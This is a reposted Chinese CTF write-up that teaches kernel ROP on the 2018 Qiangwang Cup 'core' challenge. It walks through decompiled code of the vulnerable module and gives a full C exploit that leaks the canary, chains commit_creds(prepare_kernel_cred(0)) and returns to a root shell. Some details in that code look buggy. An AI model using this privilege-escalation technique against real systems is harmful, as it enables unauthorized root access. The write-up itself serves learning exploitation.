入门 kernelROP:以2018强网杯-core为例

admin 2023年12月18日10:18:26评论31 views字数 6171阅读20分34秒阅读模式



    Keychain小队的新作,以2018强网杯-core为例带领各位少侠入门kernelROP


     


样本分析

入门 kernelROP:以2018强网杯-core为例

1.start.sh

qemu-system-x86_64  #x86的64位系统
-m 128M #原为64m报错为内存错误改为128正常运行
-kernel ./bzImage #内核文件
-initrd ./core.cpio #系统文件
-append "root=/dev/ram rw console=ttyS0 oops=panic panic=1 quiet kaslr"  #挂载方式
-s
-netdev user,id=t0, -device e1000,netdev=t0,id=nic0
-nographic
  #不打开独立终端

2.查看文件系统

直接解压看到

入门 kernelROP:以2018强网杯-core为例

可看到core.ko文件,在分析ko文件前先可以分析一下init启动文件


#init
#!/bin/sh
mount -t proc proc /proc #文件系统挂载
mount -t sysfs sysfs /sys
mount -t devtmpfs none /dev
/sbin/mdev -s
mkdir -p /dev/pts
mount -vt devpts -o gid=4,mode=620 none /dev/pts
chmod 666 /dev/ptmx
cat /proc/kallsyms > /tmp/kallsyms #将kallsyms写入/temp/kallsyms,即用户可读kallsyms
echo 1 > /proc/sys/kernel/kptr_restrict #echo 1 覆盖kptr和dmesg
echo 1 > /proc/sys/kernel/dmesg_restrict
ifconfig eth0 up
udhcpc -i eth0
ifconfig eth0 10.0.2.15 netmask 255.255.255.0
route add default gw 10.0.2.2
insmod /core.ko #载入模块

poweroff -d 120 -f & #定时关机,可删除重打包关闭
setsid /bin/cttyhack setuidgid 1000 /bin/sh
echo 'sh end!n'
umount /proc
umount /sys
poweroff -d 0 -f


3.分析模块

保护

可以看到开启了nx和canary

入门 kernelROP:以2018强网杯-core为例

core_init和core_exit分别为注册和卸载模块,不过多分析

core_ioctl

__int64 __fastcall core_ioctl(__int64 a1, int a2, __int64 a3)
{
  switch ( a2 ) //通过a2来执行不同操作
  {
    case 1719109787: //直接将a3传递给core_read
      core_read(a3);
      break;
    case 1719109788:
      printk(&unk_2CD);
      off = a3; //可以通过a2和a3值的构造控制off这个全局变量
      break;
    case 1719109786:
      printk(&unk_2B3);
      core_copy_func(a3); //直接将a3传递给core_copy_fun
      break;
  }
  return 0LL;
}


core_read

unsigned __int64 __fastcall core_read(__int64 a1)
{
  char *v2; // rdi
  __int64 i; // rcx
  unsigned __int64 result; // rax
  char v5[64]; // [rsp+0h] [rbp-50h] BYREF
  unsigned __int64 v6; // [rsp+40h] [rbp-10h]

  v6 = __readgsqword(0x28u);
  printk(&unk_25B);
  printk(&unk_275);
  v2 = v5;
  for ( i = 16LL; i; --i ) //开辟64字节空间
  {
    *(_DWORD *)v2 = 0;
    v2 += 4;
  }
  strcpy(v5, "Welcome to the QWB CTF challenge.n"); //字节拷贝到v5中
  result = copy_to_user(a1, &v5[off], 64LL); //从内核空间拷贝64字节到用户空间中,其中off为可控地址,有数组越界的存在
  if ( !result )
    return __readgsqword(0x28u) ^ v6;
  __asm { swapgs }
  return result;
}


core_copy_func

__int64 __fastcall core_copy_func(__int64 a1)
{
  __int64 result; // rax
  _QWORD v2[10]; // [rsp+0h] [rbp-50h] BYREF

  v2[8] = __readgsqword(0x28u);
  printk(&unk_215);
  if ( a1 > 63 ) //判断a1长度
  {
    printk(&unk_2A1);
    return 0xFFFFFFFFLL;
  }
  else
  {
    result = 0LL;
    qmemcpy(v2, &name, (unsigned __int16)a1); //从name这一全局变量上拷贝字符,拷贝长度为a1,a1为__int64,使用时为__int16则可造成栈溢出
  }
  return result;
}


core_write

__int64 __fastcall core_write(__int64 a1, __int64 a2, unsigned __int64 a3)
{
  printk(&unk_215);
  if ( a3 <= 0x800 && !copy_from_user(&name, a2, a3) ) //判断a3并从a2出读取数据到name全局变量上
    return (unsigned int)a3;
  printk(&unk_230);
  return 0xFFFFFFF2LL;
}


4.漏洞处理

先通过vmlinux获取偏移

from pwn import *
elf = ELF('./give_to_player/file_system/vmlinux')
print("commit_creds = " + hex(elf.symbols['commit_creds']-0xffffffff81000000))
print("prepare_kernel_cred = " + hex(elf.symbols['prepare_kernel_cred']-0xffffffff81000000))
入门 kernelROP:以2018强网杯-core为例

其真实地址可由前文保存的**/tmp/kallsyms直接读取,读取到偏移之后通过相对偏移获取基址并通过设置off越界来leak出canary,获取接着控制程序流运行comit_creds(prepare_kernel_cred(0))**并返回用户态得到root权限

编译时加上**-masm=intel指示为intel**汇编

#include<stdio.h>
#include<stdlib.h>
#include<string.h>
#include<unistd.h>
#include<fcntl.h>
#include<sys/stat.h>
#include<sys/types.h>
#include<sys/ioctl.h>

size_t user_cs, user_ss, user_rflags, user_sp;
size_t commit_creds = 0;


size_t prepare_kernel_cred = 0;
size_t vmlinux_base = 0; //随机化后的vmlinux基址
size_t raw_vmlinux_base = 0xffffffff81000000; //未加载时的基址


//intel 保存用户态
void save_status(){
        __asm__("mov user_cs, cs;"
                "mov user_ss, ss;"
                "mov user_sp, rsp;"
                "pushf;"
                "pop user_rflags;"
               );
        puts("[*] saved !");
}

//read功能可知canary偏移为0x40,可泄露
void core_read(int fd, char *copy_to_user){
    ioctl(fd, 1719109787, copy_to_user);
}

//
void set_off(int fd, long long set_off){
    ioctl(fd, 1719109788, set_off);
}

void core_copy_func(int fd, long long len){
    ioctl(fd, 1719109786, len);
}

void get_shell(){
    if(!getuid()){
        puts("Hacked!!!");
        system('/bin/sh');
    }
    else{
        puts("Fail!!!");
    }
    exit(0);
}


size_t leak_base(){
    FILE* fd = fopen("/tmp/kallsyms","r");
    if(fd < 0) exit(0);
    char buf[0x30] = {0};
    while(fgets(buf, 0x30, fd)){
        if(commit_creds & prepare_kernel_cred) return 0;
        if(strstr(buf, "commit_creds") && !commit_creds){
            char addr[20] = {0};
            strncpy(addr, buf, 0x10); //前十六字节为地址
            sscanf(addr, "%llx", &commit_creds);
            printf("commit_credsaddr = %pn",commit_creds);
            vmlinux_base = commit_creds - 0x9c8e0;
            printf("vmlinux_base = %pn", vmlinux_base);
        }

            if(strstr(buf, "prepare_kernel_cred") && !prepare_kernel_cred){
            char addr[20] = {0};
            strncpy(addr, buf, 0x10); //前十六字节为地址
            sscanf(addr, "%llx", &prepare_kernel_cred);
            printf("prepare_kernel_cred = %pn",prepare_kernel_cred);
            vmlinux_base = prepare_kernel_cred - 0x9cce0;
            printf("vmlinux_base = %pn", vmlinux_base);
        }
    }

    if(!(prepare_kernel_cred & commit_creds)){
        puts("fail!!!");
        exit(0);
    }
    
}

void pwn(){
    int fd = open("/proc/core", 2);
    if(fd < 0) exit(0);
    leak_base(); //得到基址和函数地址
    ssize_t offset = vmlinux_base - raw_vmlinux_base; //基址偏移获取
    set_off(fd, 0x40); //设置off,以便leak出canary
    char buf[0x40] = {0}; //开0x40空间防止意外
    core_read(fd, buf); //leak出canary
    size_t canary = ((size_t *)buf)[0];
    printf("canary = %pn", canary);

    size_t rop[0x1000] = {0};
    int i;
    for(i = 0; i < 10; ++i) rop[i++] = canary;
    
    rop[i++] = 0xffffffff81000b2f + offset; //pop rdi ; ret
    rop[i++] = 0;
    rop[i++] = prepare_kernel_cred; //执行prepare_kernel_cred(0),其放回值存放在rax中
    rop[i++] = 0xffffffff810a0f49 + offset; //pop rdx ; ret
    rop[i++] = 0xffffffff81021e53 + offset; //pop rcx ; ret (swapgs只有一条且为swapge; popfq; ret 用作平衡)
    rop[i++] = 0xffffffff8101aa6a + offset; //mov rdi, rcx; call rax;
    rop[i++] = commit_creds; //comit_creds(prepare_kernel_cred(0))
    rop[i++] = 0xffffffff81a012da + offset; //swapgs; popfq; ret
    rop[i++] = 0;
    rop[i++] = 0xffffffff81050ac2 + offset; //iretq; ret;
    rop[i++] = (size_t)get_shell; //设置rip
    rop[i++] = user_cs; //设置cs
    rop[i++] = user_rflags;
    rop[i++] = user_sp;
    rop[i++] = user_ss;

    write(fd, rop, 0x800);
    core_copy_func(fd, 0xffffffffffff0000 | (0x100));
}

int main(){
    save_status(); //保存用户态指针
    leak_base();
    pwn();
    return 0;
}


入门 kernelROP:以2018强网杯-core为例

可以看到成功获取到了权限


入门 kernelROP:以2018强网杯-core为例
END
入门 kernelROP:以2018强网杯-core为例

     

原文始发于微信公众号(东方隐侠安全实验室):入门 kernelROP:以2018强网杯-core为例

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2023年12月18日10:18:26
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   入门 kernelROP:以2018强网杯-core为例https://cn-sec.com/archives/2311670.html

发表评论

匿名网友 填写信息